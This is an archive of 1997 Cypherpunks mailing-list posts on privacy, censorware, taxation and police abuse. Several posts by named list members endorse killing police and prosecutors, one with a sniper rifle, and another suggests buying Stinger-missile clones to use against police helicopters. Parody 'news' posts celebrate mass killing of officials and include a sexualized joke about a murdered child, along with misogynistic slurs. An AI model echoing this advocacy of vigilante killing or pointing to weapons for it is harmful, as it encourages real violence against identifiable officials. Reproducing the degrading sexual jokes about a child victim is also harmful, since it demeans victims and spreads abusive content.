> to put allt he options on the table, including considering the abandonment
> of the entire compact.

If we abandon democracy then we are admitting that ALL social systems are a
failure.



            Sometimes it is said that man cannot be trusted with the
            government of himself.  Can he, then, be trusted with
            the government of others? Or have we found angels in the
            forms of kings to govern him?  Let history answer this
            question.

                             Thomas Jefferson, 1st Inaugural Addr



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Oct 1997 01:32:58 +0800
To: cypherpunks@toad.com
Subject: CAUTION: This *could* be a TROLL / Re: Request For Cash: TruthMailer services at dev.null
Message-ID: <199710301721.SAA28652@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



TruthMailer wrote:
> 
>           O         "I'm from BassMasters, and I'm here to help you."
>           |/------o
>   -\______|___/-  |
> ~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~
>                   |
>                   |/    <}+++<
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Canadian Nutly News <cnn@dev.null>
Date: Fri, 31 Oct 1997 08:38:01 +0800
To: cypherpunks@toad.com
Subject: Whitehouse Seige Ends Peacefully!
Message-ID: <345925AC.19B5@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[Bienfait, Saskatchewan: CNN] THE BARTENDER at the Coal Dust Saloon
announced earlier today that the seige of the Whitehouse by armed
CypherPunks ended peacefully today, when the occupants were knocked
down with Teflon-coated, hollow-point Destructor bullets the size of
drain plugs.
  Chief CypherPunks Spokesperson, [Your Name Here], was pleased to
announce that the Whitehouse occupants, including the late Director
of the FBI, "are SAFE, now."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Fri, 31 Oct 1997 01:35:23 +0800
To: "Igor Chudov @ home" <ichudov@Algebra.COM>
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <199710301543.PAA19111@manifold.algebra.com>
Message-ID: <Pine.BSF.3.96.971030182253.17049A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 30 Oct 1997, Igor Chudov @ home wrote:
> 
> Another question about home defense: it must be really inconvenient
> to perform all these self-defense actions naked, which would obviously
> happen during these night raids and robberies. 
> 
> Is that a problem, and if yes, what are the solutions?

It really depends on the  quality of the early warning system. If you have
a good one, you have plenty of time to put on the Kevlar outfit. [Make
sure to buy the kind with ceramic  plate inserts  if your threat model
includes  rifles].

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 31 Oct 1997 08:47:21 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Rules for a successful society
Message-ID: <199710310041.SAA20996@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Q: Don't want to get shot?

A: Don't break into my house, try to assault me, or steal my car.

Q: Don't want to be beaten about the head and shoulders with a large club?

A: Stay off my property unless invited.

The PRIMARY rule of a successful society:

Treat others the way you want to be treated, NO EXCEPTIONS.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Canadian Nutly News <cnn@dev.null>
Date: Fri, 31 Oct 1997 09:04:30 +0800
To: cypherpunks@toad.com
Subject: Seige of Ramsey Household Ends Peacefully!
Message-ID: <34592A05.3B54@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[Bienfait, Saskatchewan: CNN] AN UNKNOWN murderer announced today
that his seige of the Ramsey household ended peacefully, with the
dead, limp body of Jon Bonet Ramsey being knocked down with a
penis the size of a drainplug.
  The unknown murderer was pleased to announce that "Jon Bonet,
is SAFE, now."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Oct 1997 02:17:08 +0800
To: cypherpunks@toad.com
Subject: Re: CAUTION: This *could* be a TROLL / Re: Request For Cash: TruthMailer services at dev.null
Message-ID: <199710301758.SAA03658@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> TruthMailer wrote:
> >
> >           O         "I'm from BassMasters, and I'm here to help you."
> >           |/------o
> >   -\______|___/-  |
> > ~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~
> >                   |
> >                   |/    <}+++<

> From: TruthMailer <tm@dev.null>
> X-Mailer: CumSock Remailer Version ALPHA1.3B
> X-Comments: -
> X-Comments: Subliminal Message: "SEND MONEY! SEND MONEY! SEND MONEY!"
> X-Comments: -
> X-Comments: Spammer's Prayer:
> X-Comments: "Please Lord, let these rubes fall off the turnip truck
> X-Comments: just one more time.
> X-Comments: "If you make me rich, I'll quit being a loser. I'll quit
> X-Comments: fucking my mom, my sister, my daughter and my dog.
> X-Comments: "Please? Please...please...please..."

Yep, looks like a Troll, alright...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 31 Oct 1997 08:33:41 +0800
To: cypherpunks@toad.com
Subject: Got an IRS horror story?
Message-ID: <v0300781cb07ed117be6f@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



>>
>>
>>	<B>Republicans launch Web site to gather "horror stories'<P>
>>	WASHINGTON (AP) ã Got a story about the Internal Revenue Service?
>>	House Republicans opened a new Internet site Wednesday "to collect
>>IRS horror stories from the American people."
>>	The new site is on the House Republican Conference's World Wide Web
>>page. It's aimed at giving "the American people the opportunity to share
>>the frightening experiences they have had when dealing with the IRS as
>>Congress prepares to pass significant IRS reform," GOP lawmakers said in
>>a statement.
>>	The Web site also contains a short poll on the IRS and tax reform,
>>with questions such as "Do you think the IRS abuses its power or uses it
>>responsibly?"
>>	ããã
>>	The site is http://hillsource.house.gov.
>>	APTV-10-29-97 1907EST
>>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 31 Oct 1997 08:37:37 +0800
To: cypherpunks@toad.com
Subject: White House reiterates support for censorware
Message-ID: <v03007819b07ed06794e5@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Note:

>	-- Promoted a "family friendly" Internet: President Clinton has
>worked to make cyberspace a safe place for children by cracking down
>on illegal content on the Internet and encouraging the private sector
>to develop software that can screen out content that is inappropriate
>for children.

-Declan

****************

	White House Fact Sheet on 'Starbright World'
	NETWORKS FOR PEOPLE:
	CLINTON-GORE AND THE INFORMATION SUPERHIGHWAY
	October 30, 1997
	"And I challenge the private sector tonight to start by connecting
every children's hospital as soon as possible, so that a child in bed
can stay in touch with school, family and friends.  A sick child need
no longer be a child alone."
	-- President Clinton, State of the Union Address, February 4, 1997
	Today, President Clinton and Vice President Gore will unveil and
demonstrate Starbright World, an on-line computer network that
enables seriously ill children to meet, play and verbally communicate
with one another..
	Starbright World meets the President's State of the Union
challenge to the private sector to help connect seriously ill
children in hospitals across the country.  They will be joined in
launching this program by Starbright Chairman Steven Spielberg and
Starbright Capital Campaign Chairman General H. Norman Schwarzkopf.
	President Clinton and Vice President Gore have made promoting the
Internet and other information and communications technologies a top
priority. They believe that the Internet is an engine of economic
growth and job creation, and a powerful tool for educating our
children and expanding access to health care.  Below are just a few
of their accomplishments:
	-- Created an "e-rate" for schools, libraries and rural health
clinics: As part of the Telecommunications Act of 1996, President
Clinton fought for an "e-rate" which will provide more than
$2.5 billion per year in discounts for schools, libraries and
rural health clinics to connect to the Internet.
	-- Proposed a $2 billion Technology Literacy Challenge Fund:
To put the future at the fingertips of our children, President
Clinton believes we must connect every classroom to the Internet
by the year 2000, increase the number of multimedia computers
in the classroom, give teachers the training they need to use
technology effectively, and promote the development of high-quality
educational software.  To help states and local communities meet
these goals, President Clinton has proposed a 5-year, $2 billion
Technology Literacy Challenge Fund, with more than $400 million
in funding in his FY98 budget.
	-- Promoted a "family friendly" Internet: President Clinton has
worked to make cyberspace a safe place for children by cracking down
on illegal content on the Internet and encouraging the private sector
to develop software that can screen out content that is inappropriate
for children.
	-- Supported grassroots efforts to bring technology to our
schools: President Clinton and Vice President Gore have been
active participants in volunteer efforts like "NetDay" and "U.S.
Tech Corps."
	-- Invested in the Next Generation Internet: President Clinton has
launched an initiative to connect more than 100 universities at
speeds that are 100-1,000 times faster than today's Internet, and
to develop the next generation of applications, such as telemedicine.
This will ensure that the United States remains at the cutting-edge
of Internet technology.
	-- Developed a strategy to foster global electronic commerce:
In July 1997, President Clinton unveiled a strategy to eliminate
the barriers to global electronic commerce, which will create instant
access to global markets for America








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 31 Oct 1997 11:26:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <199710302115.PAA03448@multi26.netcomi.com>
Message-ID: <v03102800b07eef7633f3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:15 PM -0700 10/29/97, Neva Remailer wrote:

>The Emergency Room Scenario is a little more challenging.  One way to
>deal with it is to wear some obvious signs of wealth like a $10,000
>watch.  In a pinch you can give them the watch.  ;-) (Some of the
>nurses won't know what it is, but the doctors will, I am sure.)
>
>I'm pretty sure that if you are an unconscious wealthy looking person
>they don't turn you away.  You really only need to survive until your
>lawyer gets to the hospital with a suitcase of cash.

Read "The Millionaire Next Door" for tips on what millionaires (who are of
course the "barely non-poor" these days) are likely to be wearing and
flaunting. Turns out that most Yuppies driving BMWs and wearning Rolexes
are doing so on _credit_. Driving a Mercedes or BMW has nothing to do with
actual ability to pay bills.

>How do super rich people solve this problem?  You can be pretty sure
>that Bill Gates self insures and protects his privacy at the same
>time.  How does he do it?  How does he solve the Emergency Room
>Scenario?

I can't speak for what Gates does, but the 3rd or 4th richest man, Gordon
Moore of Intel, was signed up for the company plan. As a fail-safe,
emergency room plan, it's a winner. If grossly more expensive treatments
are needed, more than the health care plan will pay for, he can always opt
for this.

(The "savings" by self-insuring are trivial, even to average folks. Given
that a company health plan will not _stop_ patients from paying more, the
company plan is valuable insurance against being turned away as an
indigent.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Canadian Nutly News <cnn@dev.null>
Date: Fri, 31 Oct 1997 09:38:05 +0800
To: cypherpunks@toad.com
Subject: Seige of Mayonnaise Mountain Ends Peacefully!
Message-ID: <3459338A.673E@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[Bienfait, Saskatchewan: CNN] TIM C. MAY, CYPHERPUNKS PHILOSOPHER KING,
announced earlier today that the seige of Mayonnaise Mountain by local,
state, federal, and global assault teams ended peacefully when the
heavily armed members of the NWO forces were knocked down with a wide
variety of projectiles the size of drainplugs, ranging from lead
elephant-shotgun pellets to homemade nuclear slingshot ammunition.
  Mr. May was pleased to announce that the scattered body parts of
his assailants, "are SAFE, now."
  When informed by members of the news media that he could be subject
to a fine of up to a hundred dollars by EPA officials for using lead
shot in his elephant gun, Mr. May smiled, and said, "Well, they know
where to find me."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 31 Oct 1997 11:41:17 +0800
To: Mark Rogaski <azur@netcom.com
Subject: Re: Killing those who need killing (fwd)
In-Reply-To: <v03102800b07e6492650f@[208.129.55.202]>
Message-ID: <v03102801b07ef19bb4e1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:42 PM -0700 10/30/97, Mark Rogaski wrote:

>While being an eloquent statement of support for gang warfare, it still
>disagrees with the old adage of "two wrongs don't make a right" [1].  It does

The essence of this country's founding, and of specific statements by
Jefferson (tree of liberty watered with blood of patriots and tyrants),
Franklin (those who seek security over liberty deserve neither), and many
others, is that the people will seek vengeance in extra-legal ways if the
law enforcers become corrupt. Thus we see the Militia Movement, the Posse
Commitatus groups of years past, Assassination Politics, fragging of
corrupt and incompetent commanders, and direct action taken against the
Feds in their headquarters.

Sounds predictable to me.

>indicate that this concept of justice causes any traces of "law" to go right
>down the drain anytime one person oversteps the boundary.  If Tim were
>justified in breaking the law because a (hypothetical) LEO broke his end of
>the Constitutional bargain, wouldn't that make the "law" in question moot?

I'm saying that vengeance for wrongs done and unrighted by the courts means
the people are justified in acting against those who did them wrong.


>I'm not attacking your ideals, or Tim's, I'm just wondering if this sort
>of reactionary violence is valid.  If Tim were arrested on some bogus charge
>[2] and were held as a political prisoner, let's say he does as he says he
>would ... leaving a corpse in jackboots.  Wouldn't that add more fuel to the
>fires of the political reptiles, resulting in more oppresive law enforcement?

Yes, but bringing on the End Times is perhaps needed. Sometimes things have
to get worse to get better.

>I'm not saying that he should just turn the other cheek, I'm just wondering if
>there aren't more effective ways of dealing with an out of control government.
>The American public won't be roused to open revolution quite so easily.  They
>have jobs, cars, houses, kids, dogs, digital watches [3] and lots of other
>things that they do not want to lose.  Revolution is untidy, and Americans
>know this, so does the government ... this gives them a BIG advantage, it
>makes the citizenry very compliant.
>
>How do you see Tim's stance as being practical?

I don't claim the herd, the sheeple, will join in this revolution. I'm
saying that if I were to be imprisoned for months because I had squashed
vitamins in my pocket, which some gung-ho cops and DAs thought were drugs,
that I would then seek to kill all of those who falsely imprisoned me.

Sounds fair to me. So long as they understand that they can't use toilet
plungers on innocents, imprison people falsely, etc., they've got nothing
to fear.

But they have plainly lost sight of their responsibilities. Maybe their
death has been earned.

Might send a valuable lesson to the others.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 31 Oct 1997 08:49:00 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Internet Censorware Summit, Clinton to speak, Dec 1-3
Message-ID: <v03007820b07ed532b583@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Here's one response, personal notes deleted... I also got a call from one
of the organizers of the summit offering to include free speech/journalism
groups in it, or at least talking to them about the possibility... --Declan

>[...]
>
>I understand your concerns about the Summit, and what folks are trying
>to do to protect children online. We just wish that you wouldn't lump
>everything together, and pass judgment on it as a whole. Why oppose the
>Summit? Why not analyze the different solutions that are being offered,
>and report on what works and how?  Why would you guys want to deny
>people information? If I may be so bold, aren't you employing your own
>form of censorship if you don't tell the whole story? There are some
>good tools on the market, but often times they get lost in the crowd.
>
>[...]
>
>Shouldn't parents be able to use these tools in their own
>homes if they see a need? Why not give people the facts, and let them
>decide for themselves? If a parent would like to prevent a child from
>giving address, credit card, and other information out to "just anybody"
>on the Internet, what's wrong with that? If a parent would like to log
>his 8 year old's Internet activity, what's wrong with that? If a parent
>wants to screen out the word "sex" for every incoming transmission,
>what's wrong with that? Isn't it up to the individual to decide whether
>or not they want to buy this software?\
>
>[...]
>
>Would you reconsider your opposition of the Summit? I think there is a
>lot of opportunity to weed through the "b.s." and give the public some
>good information about what is available, what works, and what solution
>best supports free speech while protecting children.
>
>[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 31 Oct 1997 11:42:43 +0800
To: cypherpunks@Algebra.COM
Subject: Re: North CA cops skip preliminaries, get straight to torture
In-Reply-To: <199710310259.DAA12926@basement.replay.com>
Message-ID: <v03102802b07ef3fe4474@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:59 PM -0700 10/30/97, Anonymous wrote:
>#Subject: North CA cops skip preliminaries, get straight to torture
>
>CBS news tonight showed cops in a northern CA town use swabs to apply
>"pepper spray" directly to the eyes of demonstrators in some Congressman's
>office. One cop administered headlocks, another pried eyelids open and a
>third administered discipline.
>
>That's the ticket. Skip the judge and jury, just let the
>cops torture the perps.  Why stop at pepper spray?  Why not bamboo shoots?
>Electric shocks to the genitals?  We must have order.

Yep, it looked gruesome. And clinical. Just the slow application of
capsaicum to the eyeballs.

On the other hand, the perps were trespaassers in private offices. Me, I
would've been inclined to fire up my Stihl and separate their little fairy
circle at their wrists.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Fri, 31 Oct 1997 12:16:42 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Killing those who need killing
In-Reply-To: <199710300106.TAA15382@einstein.ssz.com>
Message-ID: <3.0.3.32.19971030200643.0313e0e0@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3985.1071713745.multipart/signed"

--Boundary..3985.1071713745.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 05:25 PM 10/29/97 -0700, Tim May wrote:
>At 6:06 PM -0700 10/29/97, Jim Choate wrote:
>>>          MAN SPENDS 6 WEEKS IN JAIL AFTER VITAMINS MISTAKEN FOR HEROIN
>>>
>>>      October 29, 1997
>>>      Web posted at: 7:21 p.m. EST (0021 GMT)
>>>
>>>      NORTH CHARLESTON, South Carolina (AP) -- For six weeks, Malvin
>>>      Marshall sat in jail because police thought he was carrying heroin
>>>      in his pocket. Police didn't believe him when he said it was mushy
>>>      vitamins.
>>>
>>>      On Monday, the charges were dropped. Lab tests showed he was
>>>      carrying mushy vitamins.
>
>And he doesn't stand a chance of suing them successfully.
>
>No wonder some people support Assassination Politics.
>
>(Personally, were I to be arrested and held on such false charges, I'd
>consider it necessary to kill those who illegally held me. Preferably from
>a safe distance, with a sniper rifle. But then I'm a right wing libertarian
>whacko.)

Why screw around with a sniper rifle when you can get Chinese clones of the
Stinger missile for $700-800?  Besides, they can come in handy when they
send in the helicopters with mounted machine guns a la Waco.

Mrs. Shirley Allen has been captured and is getting her mandatory
psychiatric exam.  Her family is celebrating, according to ABC news.
Anyone think she will be declared sane?  If so, I have some excellent
Florida swampland for sale...  Reality is a symptom of alcohol deficiency!

ObTongueInCheekFearmongeringThought:
How many Cypherpunks are vulnerable to this "psychiatric imbalance
allegation" attack?  Tim May is obviously an anti-social survivalist gun
freak, (like me, but with a bigger ammo stockpile--I'm jealous) Vulis is
obviously a closet bisexual deviant/pedophile (especially if he posts those
"Timmy Mayonnaise" ASCII art spams), Bill Geiger is a rabid anti-government
extremist a la McVeigh, and TruthMonger--need I say more?  It only takes
one disgruntled relative to "Allen" somebody...which in itself is a
powerful motivation to engage in anti-social behavior.  Hint: Look up what
happened to almost everyone who knew Stalin as a child...


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3985.1071713745.multipart/signed
Content-Type: application/octet-stream; name="pgp00011.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00011.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5GbFpvc0pGMGtYcXB3
M01FUUt0L0FDZ3BqMjkxb1pyem5NU3czRk9jNVVFM2lnWmdCZ0FvUDRRCkVH
dzlLVSt2YXIveE9OOVZEMFd3cm81VQo9NGlDMgotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3985.1071713745.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Canadian Nutly News <cnn@dev.null>
Date: Fri, 31 Oct 1997 10:23:54 +0800
To: cypherpunks@toad.com
Subject: Siege Update!
Message-ID: <34593DAC.D1D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[COAL DUST SALOON, Bienfait, Saskatchewan: CNN] A BAR WHORE donated to
the TruthMailer operator by the local chapter of "Ladies Against Women"
announced to gathered reporters, after showing them her tits for ten
dollars, that the bodies of the Whitehouse occupants and the scattered 
body parts of the members of the Mayonnaise Mountain assault teams had
been examined by the Coal Dust Saloon bar owners, who had declared,
"Those fuckers were crazy, alright, messing with the CypherPunks."

  Chief CypherPunks Spokesperson, Anonymous, declared that the merry
band of anarchists was happy to be exonerated in the face of claims
by the head of the American Medical Association that those slain by
the CypherPunks were mentally stable.
  "We were certain that the opinion of our own psychiatric specialists,
Dr. Dimitri Vulis, KOTM, and the world-renounced Dr. Grubor, would be
upheld by the Circle of Eunuchs schills who count on the Last Canadian
Outlaw to singlehandedly keep their bar operating in the black."

  When asked about the Coal Dust Saloon bar owners' decision in regard
to the mental stability of Jon Bonet Ramsey, Anonymous leaned over and
whispered to the Canadian Nutly News reportwhore, "If anybody asks, I
was with _you_ when the little tart 'bought it', OK? Can I buy you a
beer?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Fri, 31 Oct 1997 09:57:06 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <7433f6e11aa46cf7b903a8251c3e35b5@squirrel>
Message-ID: <19971030201124.46048@pig.die.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Oct 30, 1997 at 09:33:52AM -0700, Tim May wrote:

> Turns out that Blue Cross and Blue Shield have negotiated, through enormous
> buying power, daily rates of about $700 a day. (These numbers come from my
> memory of a "60 Minutes" report a few years ago. Details and current
> figures may vary.)
> 
	My wife is a pathologist, and she tells me that some of the more
aggressive HMOs get away with paying 15-20% of the posted "official" prices
for procedures and tests.    The difference between what insurance
organizations pay and the nominal price is usually 2 to 3 to 1 for most
things these days.   And for many years Medicare has set defined prices
for medical reimbursement that less than the gold plated bill amount
as well.


-- 
	Dave Emery N1PRE,  die@die.com  DIE Consulting, Weston, Mass. 
PGP fingerprint = 2047/4D7B08D1 DE 6E E1 CC 1F 1D 96 E2  5D 27 BD B0 24 88 C3 18





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Fri, 31 Oct 1997 12:55:34 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Killing those who need killing (fwd)
In-Reply-To: <199710310242.VAA15800@deathstar.jabberwock.org>
Message-ID: <3.0.3.32.19971030202210.03155da0@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3985.1071713745.multipart/signed"

--Boundary..3985.1071713745.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 07:32 PM 10/30/97 -0700, Tim May wrote:
>I'm saying that vengeance for wrongs done and unrighted by the courts means
>the people are justified in acting against those who did them wrong.

Check out Tom Clancy's book "Without Remorse" for an excellent, although
fictional, example.

Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3985.1071713745.multipart/signed
Content-Type: application/octet-stream; name="pgp00012.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00012.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5GbGRUY0pGMGtYcXB3
M01FUUw5NkFDZzNveUphTGFTb3VZRklSREZiZTVnZWdsYWVORUFuMTJwCmsr
MTBFZ2FOVnNTejlzdzJOdGJ2R2lYNAo9L1BwTgotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3985.1071713745.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 31 Oct 1997 13:26:16 +0800
To: Jonathan Wienke <cypherpunks@algebra.com
Subject: Re: Killing those who need killing
In-Reply-To: <v03102800b07d83cd05bd@[207.167.93.63]>
Message-ID: <v03102803b07efe29a806@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:06 PM -0700 10/30/97, Jonathan Wienke wrote:

>Mrs. Shirley Allen has been captured and is getting her mandatory
>psychiatric exam.  Her family is celebrating, according to ABC news.
>Anyone think she will be declared sane?  If so, I have some excellent
>Florida swampland for sale...  Reality is a symptom of alcohol deficiency!
>
>ObTongueInCheekFearmongeringThought:
>How many Cypherpunks are vulnerable to this "psychiatric imbalance
>allegation" attack?  Tim May is obviously an anti-social survivalist gun
>freak, (like me, but with a bigger ammo stockpile--I'm jealous) Vulis is
>obviously a closet bisexual deviant/pedophile (especially if he posts those
>"Timmy Mayonnaise" ASCII art spams), Bill Geiger is a rabid anti-government
>extremist a la McVeigh, and TruthMonger--need I say more?  It only takes
>one disgruntled relative to "Allen" somebody...which in itself is a
>powerful motivation to engage in anti-social behavior.  Hint: Look up what
>happened to almost everyone who knew Stalin as a child...

Don't any of you get any ideas here, but in California it is ridiculously
easy to get someone committed for a 72-hour observation period. All one has
to do is convince one of the various agencies that a person is a possible
danger to himself or to others.

So, 72 hours playing head games with a shrink doesn't sound so bad, does it?

For starters, expect a regimen of antipsychotic and antidepressant drugs,
sort of a reduced version of "One Flew Over the Cuckoo's Nest." Then,
expect shrinks who are looking for antisocial behavior, not organic
psychoses.

Worst of all, the mere fact of having been committed, regardless of the
eventual outcome, can mean a complete loss of rights to own a handgun,
rifle, or shotgun for a long period (10 years, I think). Failure to let the
Thought Police in for a look around one's home is almost ipso facto grounds
for committment.

"I'm having fantasies, doctor, about spraying a vanload of shrinks
trespassing on my property."

Enough to get me committed? Go ahead, make my day.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Fri, 31 Oct 1997 04:41:22 +0800
To: cypherpunks@Algebra.COM
Subject: Government violates 3rd amendment
Message-ID: <1cf1b6ea2883d8864f5e8eeba48293d2@squirrel>
MIME-Version: 1.0
